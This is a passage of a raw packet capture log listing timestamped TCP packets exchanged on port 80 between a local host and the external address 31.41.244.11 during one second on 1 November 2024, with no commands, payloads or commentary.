Nov 1, 2024 10:57:11.163681984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163697004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163703918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163706064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163728952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163728952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163753033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163779020 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163783073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163794994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163835049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163866043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163877964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163888931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163898945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163908005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163928032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163944960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.163949966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163961887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163971901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163983107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163994074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.163995981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164022923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164032936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164062023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164074898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164084911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164098024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164109945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164135933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164180040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164191008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164201021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164211988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164222002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164223909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164235115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164237976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164261103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164285898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164289951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164302111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164326906 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164336920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164339066 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164347887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164364100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164388895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164388895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164398909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164427042 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164457083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164468050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164477110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164486885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164496899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164524078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164552927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164565086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164573908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164585114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164597988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164607048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164637089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164665937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164675951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164685965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164695024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164705038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164706945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164724112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164746046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164832115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164844036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164855003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164865971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164870024 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164875984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164884090 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164887905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164900064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164902925 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164928913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164936066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164943933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.164947033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164958954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164968967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.164983034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165005922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165016890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165016890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165028095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165040970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165066004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165147066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165158033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165168047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165179014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165189981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165189981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165198088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165201902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165214062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165225029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165229082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165258884 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165285110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165301085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165313005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165323019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165323973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165335894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165349960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165373087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165472984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165488958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165498972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165509939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165510893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165523052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165533066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165540934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165544033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165555000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165565968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165569067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165591002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165602922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165605068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165615082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165641069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165646076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165658951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165659904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165671110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165677071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165682077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165792942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165857077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165874004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165884018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165894032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165899038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165904999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165915966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165916920 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165927887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.165941954 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165951014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.165980101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166001081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166013002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166022062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166032076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166040897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166050911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166059971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166065931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166069984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166089058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166090012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166099072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166110039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166106939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166129112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166155100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166179895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166193008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166203976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166217089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166218042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166233063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166243076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166718006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166762114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166779995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166791916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166801929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166819096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166831017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166841030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166851044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166861057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166872978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166882038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166883945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166894913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166924000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.166985035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.166995049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167010069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167026997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167027950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167040110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167047977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167063951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167073965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167074919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167085886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167108059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167114019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167140961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167150021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167159081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167165041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167185068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167197943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167231083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167242050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167252064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167273998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167278051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167298079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167330980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167330980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167345047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167370081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167382002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167516947 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167527914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167537928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167548895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167557955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167558908 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167586088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167587996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167597055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167601109 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167608976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167620897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167627096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167634964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167635918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167654991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167679071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167679071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167690992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167701006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167711973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167721987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167723894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167741060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167749882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167757034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167768002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167768955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167783976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167788029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167795897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167807102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.167815924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.167843103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186163902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186177015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186192989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186206102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186216116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186229944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186243057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186245918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186289072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186352015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186363935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186374903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186386108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186397076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186398029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186408043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186414957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186420918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186444044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186460018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186470985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186471939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186485052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186495066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186501026 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186520100 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186528921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186860085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186872005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186882019 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186911106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186918974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.186934948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186949015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186959982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186971903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.186988115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187012911 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187046051 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187057018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187067032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187078953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187087059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187091112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187108040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187110901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187131882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187160969 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187470913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187483072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187494040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187515974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187542915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187542915 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187556982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187568903 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187580109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187601089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187622070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187654018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187665939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187675953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187688112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187690973 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187700033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187710047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187716961 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187721014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187733889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187743902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187746048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187756062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187763929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187788963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187789917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187802076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187812090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187829018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187848091 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187855959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187859058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187896013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:11.187913895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187925100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:11.187933922 CET	80	49820	31.41.244.11	192.168.2.4
